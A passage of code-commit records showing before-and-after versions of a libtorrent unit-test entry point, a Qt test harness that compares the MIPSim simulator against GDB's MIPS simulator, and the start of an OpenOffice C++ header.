0;\n#endif\n\tchar const* sig_name = 0;\n\tswitch (sig)\n\t{\n#define SIG(x) case x: sig_name = #x; break\n\t\tSIG(SIGSEGV);\n#ifdef SIGBUS\n\t\tSIG(SIGBUS);\n#endif\n\t\tSIG(SIGILL);\n\t\tSIG(SIGABRT);\n\t\tSIG(SIGFPE);\n#ifdef SIGSYS\n\t\tSIG(SIGSYS);\n#endif\n#undef SIG\n\t};\n\tfprintf(stderr, \"signal: %s caught:\\n%s\\n\", sig_name, stack_text);\n\texit(138);\n}\n\nusing namespace libtorrent;\n\nint main()\n{\n\tsrand(total_microseconds(time_now_hires() - min_time()));\n#ifdef O_NONBLOCK\n\t\/\/ on darwin, stdout is set to non-blocking mode by default\n\t\/\/ which sometimes causes tests to fail with EAGAIN just\n\t\/\/ by printing logs\n\tint flags = fcntl(fileno(stdout), F_GETFL, 0);\n\tfcntl(fileno(stdout), F_SETFL, flags & ~O_NONBLOCK);\n\tflags = fcntl(fileno(stderr), F_GETFL, 0);\n\tfcntl(fileno(stderr), F_SETFL, flags & ~O_NONBLOCK);\n#endif\n\n\tsignal(SIGSEGV, &sig_handler);\n#ifdef SIGBUS\n\tsignal(SIGBUS, &sig_handler);\n#endif\n\tsignal(SIGILL, &sig_handler);\n\tsignal(SIGABRT, &sig_handler);\n\tsignal(SIGFPE, &sig_handler);\n#ifdef SIGSYS\n\tsignal(SIGSYS, &sig_handler);\n#endif\n\n\tchar dir[40];\n\tsnprintf(dir, sizeof(dir), \"test_tmp_%u\", rand());\n\tstd::string test_dir = complete(dir);\n\terror_code ec;\n\tcreate_directory(test_dir, ec);\n\tif (ec)\n\t{\n\t\tfprintf(stderr, \"Failed to create test directory: %s\\n\", ec.message().c_str());\n\t\treturn 1;\n\t}\n#ifdef TORRENT_WINDOWS\n\tSetCurrentDirectoryA(dir);\n#else\n\tchdir(dir);\n#endif\n\n#ifndef BOOST_NO_EXCEPTIONS\n\ttry\n\t{\n#endif\n\t\ttest_main();\n#ifndef BOOST_NO_EXCEPTIONS\n\t}\n\tcatch (std::exception const& e)\n\t{\n\t\tstd::cerr << \"Terminated with exception: \\\"\" << e.what() << \"\\\"\\n\";\n\t\ttests_failure = true;\n\t}\n\tcatch (...)\n\t{\n\t\tstd::cerr << \"Terminated with unknown exception\\n\";\n\t\ttests_failure = true;\n\t}\n#endif\n\n\t\/\/ just in case of premature exits\n\t\/\/ make sure we try to clean up some\n\tstop_tracker();\n\tstop_all_proxies();\n\tstop_web_server();\n\tstop_peer();\n\tstop_dht();\n\n\tfflush(stdout);\n\tfflush(stderr);\n\tremove_all(test_dir, ec);\n\tif (ec)\n\t\tfprintf(stderr, \"failed to remove test dir: %s\\n\", ec.message().c_str());\n\treturn tests_failure ? 1 : 0;\n}\n\n<commit_msg>SetErrorMode at the start of unit tests (on windows)<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <iostream>\n#include <boost\/config.hpp>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h> \/\/ for exit()\n#include \"setup_transfer.hpp\" \/\/ for tests_failure\n#include \"dht_server.hpp\" \/\/ for stop_dht\n#include \"peer_server.hpp\" \/\/ for stop_peer\n\nint test_main();\n\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/file.hpp\"\n#include <signal.h>\n\n#ifdef WIN32\n#include <windows.h> \/\/ fot SetErrorMode\n#endif\n\nvoid sig_handler(int sig)\n{\n\tchar stack_text[10000];\n\n#if (defined TORRENT_DEBUG && !TORRENT_NO_ASSERTS) || TORRENT_RELEASE_ASSERTS\n\tprint_backtrace(stack_text, sizeof(stack_text), 30);\n#elif defined __FUNCTION__\n\tstrcat(stack_text, __FUNCTION__);\n#else\n\tstack_text[0] = 0;\n#endif\n\tchar const* sig_name = 0;\n\tswitch (sig)\n\t{\n#define SIG(x) case x: sig_name = #x; break\n\t\tSIG(SIGSEGV);\n#ifdef SIGBUS\n\t\tSIG(SIGBUS);\n#endif\n\t\tSIG(SIGILL);\n\t\tSIG(SIGABRT);\n\t\tSIG(SIGFPE);\n#ifdef SIGSYS\n\t\tSIG(SIGSYS);\n#endif\n#undef SIG\n\t};\n\tfprintf(stderr, \"signal: %s caught:\\n%s\\n\", sig_name, stack_text);\n\texit(138);\n}\n\nusing namespace libtorrent;\n\nint main()\n{\n#ifdef WIN32\n\t\/\/ try to suppress hanging the process by windows displaying\n\t\/\/ modal dialogs.\n\tSetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT | SEM_NOALIGNMENTFAULTEXCEPT\n\t\t| SEM_NOGPFAULTERRORBOX | SEM_NOOPENFILEERRORBOX);\n#endif\n\n\tsrand(total_microseconds(time_now_hires() - min_time()));\n#ifdef O_NONBLOCK\n\t\/\/ on darwin, stdout is set to non-blocking mode by default\n\t\/\/ which sometimes causes tests to fail with EAGAIN just\n\t\/\/ by printing logs\n\tint flags = fcntl(fileno(stdout), F_GETFL, 0);\n\tfcntl(fileno(stdout), F_SETFL, flags & ~O_NONBLOCK);\n\tflags = fcntl(fileno(stderr), F_GETFL, 0);\n\tfcntl(fileno(stderr), F_SETFL, flags & ~O_NONBLOCK);\n#endif\n\n\tsignal(SIGSEGV, &sig_handler);\n#ifdef SIGBUS\n\tsignal(SIGBUS, &sig_handler);\n#endif\n\tsignal(SIGILL, &sig_handler);\n\tsignal(SIGABRT, &sig_handler);\n\tsignal(SIGFPE, &sig_handler);\n#ifdef SIGSYS\n\tsignal(SIGSYS, &sig_handler);\n#endif\n\n\tchar dir[40];\n\tsnprintf(dir, sizeof(dir), \"test_tmp_%u\", rand());\n\tstd::string test_dir = complete(dir);\n\terror_code ec;\n\tcreate_directory(test_dir, ec);\n\tif (ec)\n\t{\n\t\tfprintf(stderr, \"Failed to create test directory: %s\\n\", ec.message().c_str());\n\t\treturn 1;\n\t}\n#ifdef TORRENT_WINDOWS\n\tSetCurrentDirectoryA(dir);\n#else\n\tchdir(dir);\n#endif\n\n#ifndef BOOST_NO_EXCEPTIONS\n\ttry\n\t{\n#endif\n\t\ttest_main();\n#ifndef BOOST_NO_EXCEPTIONS\n\t}\n\tcatch (std::exception const& e)\n\t{\n\t\tstd::cerr << \"Terminated with exception: \\\"\" << e.what() << \"\\\"\\n\";\n\t\ttests_failure = true;\n\t}\n\tcatch (...)\n\t{\n\t\tstd::cerr << \"Terminated with unknown exception\\n\";\n\t\ttests_failure = true;\n\t}\n#endif\n\n\t\/\/ just in case of premature exits\n\t\/\/ make sure we try to clean up some\n\tstop_tracker();\n\tstop_all_proxies();\n\tstop_web_server();\n\tstop_peer();\n\tstop_dht();\n\n\tfflush(stdout);\n\tfflush(stderr);\n\tremove_all(test_dir, ec);\n\tif (ec)\n\t\tfprintf(stderr, \"failed to remove test dir: %s\\n\", ec.message().c_str());\n\treturn tests_failure ? 1 : 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Simple test for MIPSim\n    \n    * run mipsim and gdb sim in parallel\n    * load the same target program in both simulators\n    * run the program step by step\n    * check for disparity in the effect of each instruction\n    * report issues\n*\/\n\n#include <QDir>\n#include <QDebug>\n#include <QString>\n#include <QProcess>\n\nenum {\n    GDB,\n    MIPSim,\n    \n    TARGET_COUNT\n};\n\nenum Regnames {\n    \n    \/\/ cpu GPR\n    ZERO,\n    AT,\n    V0,\n    V1,\n    A0,\n    A1,\n    A2,\n    A3,\n    T0,\n    T1,\n    T2,\n    T3,\n    T4,\n    T5,\n    T6,\n    T7,\n    S0,\n    S1,\n    S2,\n    S3,\n    S4,\n    S5,\n    S6,\n    S7,\n    T8,\n    T9,\n    K0,\n    K1,\n    GP,\n    SP,\n    FP,\n    RA,\n    \n    \/\/ cpu SPR\n    PC,\n    IR,\n    \n    HI,\n    LO,\n    \n    \n    NONE = -1\n};\n\nstruct RegisterFile {\n    quint32 pc;\n    quint32 hi, lo;\n    quint32 gpr[32];\n};\n\nstatic RegisterFile regs[TARGET_COUNT];\n\nvoid print_register_file_diff(int t1, int t2)\n{\n    if ( regs[t1].pc != regs[t2].pc )\n        qDebug(\"pc : 0x%08x != 0x%08x\", regs[t1].pc, regs[t2].pc);\n    \n    for ( int i = 0; i < 32; ++i )\n        if ( regs[t1].gpr[i] != regs[t2].gpr[i] )\n            qDebug(\"r%i : 0x%08x != 0x%08x\", i, regs[t1].gpr[i], regs[t2].gpr[i]);\n    \n    if ( regs[t1].hi != regs[t2].hi )\n        qDebug(\"hi : 0x%08x != 0x%08x\", regs[t1].hi, regs[t2].hi);\n    \n    if ( regs[t1].lo != regs[t2].lo )\n        qDebug(\"lo : 0x%08x != 0x%08x\", regs[t1].lo, regs[t2].lo);\n    \n}\n\nstatic QProcess* sim[TARGET_COUNT];\nstatic const QByteArray prompts[TARGET_COUNT] = {\n    \"(gdb) \", \"mipsim> \"\n};\n\nbool at_prompt[TARGET_COUNT];\n\nQByteArray command(int target, const QByteArray& command)\n{\n    QByteArray tmp;\n    QProcess *p = sim[target];\n    const QByteArray& prompt = prompts[target];\n    \n    while ( !at_prompt[target] )\n    {\n        p->waitForReadyRead(100);\n        tmp += p->readAll();\n        \n        at_prompt[target] = tmp.endsWith(prompt);\n    }\n    \n    \/\/qDebug(\"%d> %s\", target, qPrintable(command));\n    \n    p->write(command);\n    p->waitForBytesWritten(100);\n    \n    QByteArray ans;\n    at_prompt[target] = false;\n    \n    while ( !at_prompt[target] && (p->state() == QProcess::Running) )\n    {\n        p->waitForReadyRead(100);\n        ans += p->readAll();\n        \n        if ( ans.endsWith(prompt) )\n        {\n            ans.chop(prompt.length());\n            at_prompt[target] = true;\n        }\n    }\n    \n    return ans;\n}\n\nstatic const QByteArray reg_dump_cmd[TARGET_COUNT] = {\n    \"info registers\\n\",\n    \"d\\n\"\n};\n\nstatic const QByteArray reg_dump_skip[TARGET_COUNT] = {\n    \"The program has no registers now.\\n\",\n    \"dummy!\"\n};\n\nstatic const QList<int> reg_dump_mapping[TARGET_COUNT] = {\n    QList<int>()\n    <<  9 << 10 << 11 << 12 << 13 << 14 << 15 << 16\n    << 26 << 27 << 28 << 29 << 30 << 31 << 32 << 33\n    << 43 << 44 << 45 << 46 << 47 << 48 << 49 << 50\n    << 60 << 61 << 62 << 63 << 64 << 65 << 66 << 67\n    << 79 << -1\n    << 76 << 75\n    ,\n    QList<int>()\n    << 11 << 14 << 17 << 20 << 23 << 26 << 29 << 32\n    << 35 << 38 << 41 << 44 << 47 << 50 << 53 << 56\n    << 59 << 62 << 65 << 68 << 71 << 74 << 77 << 80\n    << 83 << 86 << 89 << 92 << 95 << 98 << 101<< 104\n    <<  2 << -1\n    <<  5 <<  8\n};\n\ntypedef QPair<int, int> QRange;\ntypedef QList<QRange> QRangeList;\n\nvoid split_ws(QByteArray s, QRangeList& l)\n{\n    int idx, last;\n    \n    idx = last = 0;\n    const int len = s.length();\n    const char *d = s.constData();\n    \n    while ( idx < len )\n    {\n        if ( isspace(d[idx]) )\n        {\n            if ( last != idx )\n                l << qMakePair(last, idx - last);\n            \n            last = ++idx;\n        } else {\n            ++idx;\n        }\n    }\n    \n    if ( last != idx )\n        l << qMakePair(last, idx - last);\n    \n}\n\nquint32 hex_value(const char *d, int length, bool *ok)\n{\n    quint32 n = 0;\n    \n    if ( ok ) *ok = false;\n    \n    if ( length > 2 && d[0] == '0' && d[1] == 'x' )\n    {\n        length -= 2;\n        d += 2;\n    }\n    \n    do {\n        char c = *d;\n        \n        n <<= 4;\n        \n        if ( c >= '0' && c <= '9' )\n            n += c - '0';\n        else if ( c >= 'a' && c <= 'f' )\n            n += c - 'a' + 10;\n        else if ( c >= 'A' && c <= 'F' )\n            n += c - 'A' + 10;\n        else\n            return 0;\n        \n        ++d;\n    } while ( --length );\n    \n    if ( ok ) *ok = true;\n    \n    return n;\n}\n\nQRangeList ranges[TARGET_COUNT];\n\nvoid update_register_file(int target)\n{\n    QByteArray ans = command(target, reg_dump_cmd[target]);\n    \n    if ( ans == reg_dump_skip[target] )\n        return;\n    \n    int n = 0;\n    split_ws(ans, ranges[target]);\n    \n    for ( int i = 0; i < reg_dump_mapping[target].count(); ++i )\n    {\n        int idx = reg_dump_mapping[target].at(i);\n        \n        if ( idx >= 0 )\n        {\n            if ( idx < ranges[target].count() )\n            {\n                bool ok = false;\n                QRange r = ranges[target].at(idx);\n                quint32 val = hex_value(ans.constData() + r.first, r.second, &ok);\n                \n                if ( !ok ) {\n                    qWarning(\"(%i) borked reg dump : %i = %s\", target, i, ans.mid(r.first, r.second).constData());\n                } else {\n                    ++n;\n                    \n                    if ( i >= 0 && i < 32 )\n                        regs[target].gpr[i] = val;\n                    else if ( i == PC )\n                        regs[target].pc = val;\n                    else if ( i == HI )\n                        regs[target].hi = val;\n                    else if ( i == LO )\n                        regs[target].lo = val;\n                    else\n                        --n;\n                }\n            } else {\n                qDebug(\"doh!\");\n            }\n        }\n    }\n    \/\/qDebug(\"dumped %d registers from target %d\", n, target);\n}\n\nint main(int argc, char **argv)\n{\n    QString target, ans;\n    QProcess mipsim, gdb;\n    \n    sim[GDB]    = &gdb;\n    sim[MIPSim] = &mipsim;\n    \n    at_prompt[GDB] = at_prompt[MIPSim] = false;\n    \n    target = QString::fromLocal8Bit(argv[1]);\n    \n    mipsim.setProcessChannelMode(QProcess::MergedChannels);\n    mipsim.start(\".\/mipsim\", QStringList() << target);\n    \n    gdb.setProcessChannelMode(QProcess::MergedChannels);\n    gdb.start(\"mips-elf-gdb\", QStringList() << target << \"--silent\");\n    \n    if ( !gdb.waitForStarted() )\n    {\n        qDebug(\"Unable to start gdb\");\n        return 1;\n    }\n    \n    \n    \/\/ get gdb simulator ready for single stepping...\n    command(GDB, \"target sim\\n\");\n    command(GDB, \"load\\n\");\n    command(GDB, \"b _start\\n\");\n    command(GDB, \"r\\n\");\n    \n    qDebug(\"Initial register dump\");\n    \n    memset(regs, 0, sizeof(RegisterFile) * TARGET_COUNT);\n    \n    update_register_file(GDB);\n    update_register_file(MIPSim);\n    \n    while ( regs[GDB].pc < regs[MIPSim].pc )\n    {\n        command(GDB, \"si\\n\");\n        update_register_file(GDB);\n    }\n    \n    while ( regs[MIPSim].pc < regs[GDB].pc )\n    {\n        command(MIPSim, \"s\\n\");\n        update_register_file(MIPSim);\n    }\n    \n    qDebug(\"Starting @ 0x%08x, 0x%08x\", regs[GDB].pc, regs[MIPSim].pc);\n    \n    int n = 0, diff_seq = 0;\n    const int max_diff_seq = QString::fromLocal8Bit(argv[2]).toUInt();\n    \n    forever\n    {\n        if ( command(GDB, \"info program\\n\") == \"The program being debugged is not being run.\\n\" )\n        {\n            qDebug(\"sim target stopped\");\n            break;\n        }\n        \n        if ( memcmp(&regs[GDB], &regs[MIPSim], sizeof(RegisterFile)) )\n        {\n            if ( !diff_seq )\n            {\n                \/\/ account for GDB maybe lagging one instruction behind\n                quint32 pc = regs[GDB].pc;\n                \n                if ( regs[MIPSim].pc - pc == 4 )\n                {\n                    command(GDB, \"si\\n\");\n                    update_register_file(GDB);\n                    \n                    if ( memcmp(&regs[GDB], &regs[MIPSim], sizeof(RegisterFile)) )\n                    {\n                        qDebug(\"Simulations differ after %i instruction : \", n);\n                        qDebug(\" @ 0x%08x, 0x%08x\", pc, regs[MIPSim].pc);\n                        print_register_file_diff(GDB, MIPSim);\n                        \n                        ++n;\n                        ++diff_seq;\n                        \n                        command(MIPSim, \"s\\n\");\n                        update_register_file(MIPSim);\n                        \n                        continue;\n                    } else {\n                        \/\/qDebug(\"Corrected delay slot GDB lag @ 0x%08x\", pc);\n                        continue;\n                    }\n                }\n                \n                qDebug(\"Simulations differ after %i instruction : \", n);\n                qDebug(\" @ 0x%08x, 0x%08x\", pc, regs[MIPSim].pc);\n                print_register_file_diff(GDB, MIPSim);\n            }\n            \n            if ( ++diff_seq >= max_diff_seq )\n            {\n                qDebug(\"simulations not merged after %i steps : aborting...\", diff_seq);\n                print_register_file_diff(GDB, MIPSim);\n                break;\n            }\n        } else if ( diff_seq ) {\n            qDebug(\"simulations merge back after %i steps\", diff_seq);\n            diff_seq = 0;\n        }\n        \n        command(MIPSim, \"s\\n\");\n        update_register_file(MIPSim);\n        \n        command(GDB, \"si\\n\");\n        update_register_file(GDB);\n        \n        ++n;\n    }\n    \n    command(GDB, \"q\\ny\\n\");\n    \n    command(MIPSim, \"q\\n\");\n}\n<commit_msg>Small speed improvement.<commit_after>\/*\n    Simple test for MIPSim\n    \n    * run mipsim and gdb sim in parallel\n    * load the same target program in both simulators\n    * run the program step by step\n    * check for disparity in the effect of each instruction\n    * report issues\n*\/\n\n#include <QDir>\n#include <QDebug>\n#include <QString>\n#include <QProcess>\n\nenum {\n    GDB,\n    MIPSim,\n    \n    TARGET_COUNT\n};\n\nenum Regnames {\n    \n    \/\/ cpu GPR\n    ZERO,\n    AT,\n    V0,\n    V1,\n    A0,\n    A1,\n    A2,\n    A3,\n    T0,\n    T1,\n    T2,\n    T3,\n    T4,\n    T5,\n    T6,\n    T7,\n    S0,\n    S1,\n    S2,\n    S3,\n    S4,\n    S5,\n    S6,\n    S7,\n    T8,\n    T9,\n    K0,\n    K1,\n    GP,\n    SP,\n    FP,\n    RA,\n    \n    \/\/ cpu SPR\n    PC,\n    IR,\n    \n    HI,\n    LO,\n    \n    \n    NONE = -1\n};\n\nstruct RegisterFile {\n    quint32 pc;\n    quint32 hi, lo;\n    quint32 gpr[32];\n};\n\nstatic RegisterFile regs[TARGET_COUNT];\n\nvoid print_register_file_diff(int t1, int t2)\n{\n    if ( regs[t1].pc != regs[t2].pc )\n        qDebug(\"pc : 0x%08x != 0x%08x\", regs[t1].pc, regs[t2].pc);\n    \n    for ( int i = 0; i < 32; ++i )\n        if ( regs[t1].gpr[i] != regs[t2].gpr[i] )\n            qDebug(\"r%i : 0x%08x != 0x%08x\", i, regs[t1].gpr[i], regs[t2].gpr[i]);\n    \n    if ( regs[t1].hi != regs[t2].hi )\n        qDebug(\"hi : 0x%08x != 0x%08x\", regs[t1].hi, regs[t2].hi);\n    \n    if ( regs[t1].lo != regs[t2].lo )\n        qDebug(\"lo : 0x%08x != 0x%08x\", regs[t1].lo, regs[t2].lo);\n    \n}\n\nstatic QProcess* sim[TARGET_COUNT];\nstatic const QByteArray prompts[TARGET_COUNT] = {\n    \"(gdb) \", \"mipsim> \"\n};\n\nbool at_prompt[TARGET_COUNT];\n\nQByteArray command(int target, const QByteArray& command)\n{\n    QByteArray tmp;\n    QProcess *p = sim[target];\n    const QByteArray& prompt = prompts[target];\n    \n    while ( !at_prompt[target] )\n    {\n        p->waitForReadyRead(100);\n        tmp += p->readAll();\n        \n        at_prompt[target] = tmp.endsWith(prompt);\n    }\n    \n    \/\/qDebug(\"%d> %s\", target, qPrintable(command));\n    \n    p->write(command);\n    p->waitForBytesWritten(100);\n    \n    QByteArray ans;\n    at_prompt[target] = false;\n    \n    while ( !at_prompt[target] && (p->state() == QProcess::Running) )\n    {\n        p->waitForReadyRead(100);\n        ans += p->readAll();\n        \n        if ( ans.endsWith(prompt) )\n        {\n            ans.chop(prompt.length());\n            at_prompt[target] = true;\n        }\n    }\n    \n    return ans;\n}\n\nstatic const QByteArray reg_dump_cmd[TARGET_COUNT] = {\n    \"info registers\\n\",\n    \"d\\n\"\n};\n\nstatic const QByteArray reg_dump_skip[TARGET_COUNT] = {\n    \"The program has no registers now.\\n\",\n    \"dummy!\"\n};\n\nstatic const QList<int> reg_dump_mapping[TARGET_COUNT] = {\n    QList<int>()\n    <<  9 << 10 << 11 << 12 << 13 << 14 << 15 << 16\n    << 26 << 27 << 28 << 29 << 30 << 31 << 32 << 33\n    << 43 << 44 << 45 << 46 << 47 << 48 << 49 << 50\n    << 60 << 61 << 62 << 63 << 64 << 65 << 66 << 67\n    << 79 << -1\n    << 76 << 75\n    ,\n    QList<int>()\n    << 11 << 14 << 17 << 20 << 23 << 26 << 29 << 32\n    << 35 << 38 << 41 << 44 << 47 << 50 << 53 << 56\n    << 59 << 62 << 65 << 68 << 71 << 74 << 77 << 80\n    << 83 << 86 << 89 << 92 << 95 << 98 << 101<< 104\n    <<  2 << -1\n    <<  5 <<  8\n};\n\ntypedef QVector<int> QRangeList;\n\nvoid split_ws(QByteArray s, QRangeList& l)\n{\n    int idx, last;\n    \n    idx = last = 0;\n    const int len = s.length();\n    const char *d = s.constData();\n    \n    while ( idx < len )\n    {\n        if ( isspace(d[idx]) )\n        {\n            if ( last != idx )\n                l << last << (idx - last);\n            \n            last = ++idx;\n        } else {\n            ++idx;\n        }\n    }\n    \n    if ( last != idx )\n        l << last << (idx - last);\n    \n}\n\nquint32 hex_value(const char *d, int length, bool *ok)\n{\n    quint32 n = 0;\n    \n    if ( ok ) *ok = false;\n    \n    if ( length > 2 && d[0] == '0' && d[1] == 'x' )\n    {\n        length -= 2;\n        d += 2;\n    }\n    \n    do {\n        char c = *d;\n        \n        n <<= 4;\n        \n        if ( c >= '0' && c <= '9' )\n            n += c - '0';\n        else if ( c >= 'a' && c <= 'f' )\n            n += c - 'a' + 10;\n        else if ( c >= 'A' && c <= 'F' )\n            n += c - 'A' + 10;\n        else\n            return 0;\n        \n        ++d;\n    } while ( --length );\n    \n    if ( ok ) *ok = true;\n    \n    return n;\n}\n\nQRangeList ranges[TARGET_COUNT];\n\nvoid update_register_file(int target)\n{\n    QByteArray ans = command(target, reg_dump_cmd[target]);\n    \n    if ( ans == reg_dump_skip[target] )\n        return;\n    \n    int n = 0;\n    split_ws(ans, ranges[target]);\n    \n    for ( int i = 0; i < reg_dump_mapping[target].count(); ++i )\n    {\n        int idx = reg_dump_mapping[target].at(i);\n        \n        if ( idx >= 0 )\n        {\n            if ( (2*idx+1) < ranges[target].count() )\n            {\n                bool ok = false;\n                int r_f = ranges[target].at(2*idx);\n                int r_s = ranges[target].at(2*idx+1);\n                quint32 val = hex_value(ans.constData() + r_f, r_s, &ok);\n                \n                if ( !ok ) {\n                    qWarning(\"(%i) borked reg dump : %i = %s\", target, i, ans.mid(r_f, r_s).constData());\n                } else {\n                    ++n;\n                    \n                    if ( i >= 0 && i < 32 )\n                        regs[target].gpr[i] = val;\n                    else if ( i == PC )\n                        regs[target].pc = val;\n                    else if ( i == HI )\n                        regs[target].hi = val;\n                    else if ( i == LO )\n                        regs[target].lo = val;\n                    else\n                        --n;\n                }\n            } else {\n                qDebug(\"doh!\");\n            }\n        }\n    }\n    \/\/qDebug(\"dumped %d registers from target %d\", n, target);\n}\n\nint main(int argc, char **argv)\n{\n    QString target, ans;\n    QProcess mipsim, gdb;\n    \n    sim[GDB]    = &gdb;\n    sim[MIPSim] = &mipsim;\n    \n    at_prompt[GDB] = at_prompt[MIPSim] = false;\n    \n    target = QString::fromLocal8Bit(argv[1]);\n    \n    mipsim.setProcessChannelMode(QProcess::MergedChannels);\n    mipsim.start(\".\/mipsim\", QStringList() << target);\n    \n    gdb.setProcessChannelMode(QProcess::MergedChannels);\n    gdb.start(\"mips-elf-gdb\", QStringList() << target << \"--silent\");\n    \n    if ( !gdb.waitForStarted() )\n    {\n        qDebug(\"Unable to start gdb\");\n        return 1;\n    }\n    \n    \n    \/\/ get gdb simulator ready for single stepping...\n    command(GDB, \"target sim\\n\");\n    command(GDB, \"load\\n\");\n    command(GDB, \"b _start\\n\");\n    command(GDB, \"r\\n\");\n    \n    qDebug(\"Initial register dump\");\n    \n    memset(regs, 0, sizeof(RegisterFile) * TARGET_COUNT);\n    \n    update_register_file(GDB);\n    update_register_file(MIPSim);\n    \n    while ( regs[GDB].pc < regs[MIPSim].pc )\n    {\n        command(GDB, \"si\\n\");\n        update_register_file(GDB);\n    }\n    \n    while ( regs[MIPSim].pc < regs[GDB].pc )\n    {\n        command(MIPSim, \"s\\n\");\n        update_register_file(MIPSim);\n    }\n    \n    qDebug(\"Starting @ 0x%08x, 0x%08x\", regs[GDB].pc, regs[MIPSim].pc);\n    \n    int n = 0, diff_seq = 0;\n    const int max_diff_seq = QString::fromLocal8Bit(argv[2]).toUInt();\n    \n    forever\n    {\n        if ( command(GDB, \"info program\\n\") == \"The program being debugged is not being run.\\n\" )\n        {\n            qDebug(\"sim target stopped\");\n            break;\n        }\n        \n        if ( memcmp(&regs[GDB], &regs[MIPSim], sizeof(RegisterFile)) )\n        {\n            if ( !diff_seq )\n            {\n                \/\/ account for GDB maybe lagging one instruction behind\n                quint32 pc = regs[GDB].pc;\n                \n                if ( regs[MIPSim].pc - pc == 4 )\n                {\n                    command(GDB, \"si\\n\");\n                    update_register_file(GDB);\n                    \n                    if ( memcmp(&regs[GDB], &regs[MIPSim], sizeof(RegisterFile)) )\n                    {\n                        qDebug(\"Simulations differ after %i instruction : \", n);\n                        qDebug(\" @ 0x%08x, 0x%08x\", pc, regs[MIPSim].pc);\n                        print_register_file_diff(GDB, MIPSim);\n                        \n                        ++n;\n                        ++diff_seq;\n                        \n                        command(MIPSim, \"s\\n\");\n                        update_register_file(MIPSim);\n                        \n                        continue;\n                    } else {\n                        \/\/qDebug(\"Corrected delay slot GDB lag @ 0x%08x\", pc);\n                        continue;\n                    }\n                }\n                \n                qDebug(\"Simulations differ after %i instruction : \", n);\n                qDebug(\" @ 0x%08x, 0x%08x\", pc, regs[MIPSim].pc);\n                print_register_file_diff(GDB, MIPSim);\n            }\n            \n            if ( ++diff_seq >= max_diff_seq )\n            {\n                qDebug(\"simulations not merged after %i steps : aborting...\", diff_seq);\n                print_register_file_diff(GDB, MIPSim);\n                break;\n            }\n        } else if ( diff_seq ) {\n            qDebug(\"simulations merge back after %i steps\", diff_seq);\n            diff_seq = 0;\n        }\n        \n        command(MIPSim, \"s\\n\");\n        update_register_file(MIPSim);\n        \n        command(GDB, \"si\\n\");\n        update_register_file(GDB);\n        \n        ++n;\n    }\n    \n    command(GDB, \"q\\ny\\n\");\n    \n    command(MIPSim, \"q\\n\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: fmtcol.hxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2007-01-23 08:29:35 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _FMTCOL_HXX\n#define _FMTCOL_HXX\n\n#ifndef _SVARRAY_HXX \/\/autogen\n#include <svtools\/svarray.hxx>\n#endif\n\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n#ifndef _FORMAT_HXX\n#include <format.hxx>\n#endif\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>      \/\/ fuer MAXLEVEL\n#endif\n\nclass SwDoc;        \/\/ fuer friend\n\nclass SwFmtColl : public SwFmt\n{\nprotected:\n    SwFmtColl( SwAttrPool& rPool, const sal_Char* pFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, pFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n    SwFmtColl( SwAttrPool& rPool, const String &rFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, rFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n\nprivate:\n    \/\/ erstmal wird nicht kopiert und nicht zugewiesen\n    SwFmtColl(const SwFmtColl & );\n    const SwFmtColl &operator=(const SwFmtColl 